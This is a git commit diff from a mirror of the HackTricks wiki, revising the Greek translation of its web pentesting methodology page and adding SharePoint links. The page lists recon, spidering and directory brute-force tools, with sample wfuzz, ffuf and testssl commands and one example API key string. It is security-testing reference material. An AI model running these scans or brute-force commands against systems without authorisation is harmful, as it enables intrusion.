mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
parent
a136b2e3b7
commit
de2f4e7aa6
@ -423,6 +423,7 @@
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
|
||||
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
|
@ -1,8 +1,8 @@
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Μεθοδολογία Pentesting Web
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Info
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
|
||||
|
||||
@ -25,18 +25,18 @@ web-api-pentesting.md
|
||||
|
||||
## Methodology summary
|
||||
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, υποdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
|
||||
|
||||
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
|
||||
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
|
||||
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
|
||||
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
|
||||
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
|
||||
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
|
||||
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή spidering, θα πρέπει να γίνει spidering._
|
||||
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
|
||||
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
- [ ] **Έλεγχος αντιγράφων ασφαλείας**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας.
|
||||
- [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
|
||||
- [ ] Μόλις έχετε **ταυτοποιήσει** όλα τα πιθανά **endpoints** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό.
|
||||
@ -56,7 +56,7 @@ webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Check if any WAF**
|
||||
### **Έλεγχος αν υπάρχει WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
- [**Jira**](jira.md)
|
||||
@ -99,18 +100,18 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
|
||||
Εάν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform listed before** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
|
||||
Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform listed before** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Εάν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας μια White box test** της εφαρμογής, υπάρχει **μερικές πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **δική σας μια White box test** της εφαρμογής, υπάρχει **μερικές πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
|
||||
- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords);
|
||||
- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποια **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποια **algorithm** χρησιμοποιείται;
|
||||
- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποιος **αλγόριθμος** χρησιμοποιείται;
|
||||
- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
|
||||
- Υπάρχει κάποια **interesting information in the github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ;
|
||||
- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ;
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -162,14 +163,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
|
||||
|
||||
**Δημιουργία σφαλμάτων**
|
||||
**Εξαναγκασμός σφαλμάτων**
|
||||
|
||||
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**.
|
||||
|
||||
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.)
|
||||
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
|
||||
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL**
|
||||
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λανθασμένα όπως FAKE
|
||||
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
|
||||
|
||||
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
@ -178,12 +179,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- **Brute Force** διαπιστευτήρια
|
||||
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
|
||||
### **Ευπάθειες SSL/TLS**
|
||||
### **SSL/TLS ευπάθειες**
|
||||
|
||||
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη σε HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
|
||||
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτού του είδους οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -199,34 +200,34 @@ sslyze --regular <ip:port>
|
||||
|
||||
### Spidering
|
||||
|
||||
Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους.
|
||||
Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο σε HTML πηγή όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες κανονικές εκφράσεις για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε paths και params σε αρχεία JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified JS κώδικα.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regex.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένας προηγμένος GUI web security Crawler/Spider σχεδιασμένος για επαγγελματίες κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, paths, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Υπέροχο εργαλείο για αυτό.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
|
||||
|
||||
### Brute Force directories and files
|
||||
@ -234,14 +235,14 @@ sslyze --regular <ip:port>
|
||||
Ξεκινήστε **brute-forcing** από τον ριζικό φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **φακέλους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους φακέλους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και προσθέτοντας στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των βρεθέντων φακέλων).\
|
||||
Εργαλεία:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνονται στο Kali, **παλιά** (και **αργή**) αλλά λειτουργική. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργή σε σύγκριση με τις άλλες επιλογές.
|
||||
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνεται στο Kali, **παλιό** (και **αργό**) αλλά λειτουργικό. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργό σε σύγκριση με τις άλλες επιλογές.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά αλλά** επιτρέπει αναδρομική αναζήτηση.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά, **δεν έχει** **αναδρομική** αναζήτηση.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφόρων σελίδων.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφορετικών σελίδων.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί το wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν.
|
||||
|
||||
@ -271,7 +272,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
|
||||
- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
@ -279,19 +280,19 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
|
||||
- **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
|
||||
- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html).
|
||||
- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοδήποτε **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html).
|
||||
|
||||
### Ειδικές ανακαλύψεις
|
||||
|
||||
**Κατά τη διάρκεια** της **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
**Κατά** την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
|
||||
**Ενδιαφέροντα αρχεία**
|
||||
|
||||
- Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
|
||||
- [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
|
||||
- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
|
||||
- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν.
|
||||
- Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
|
||||
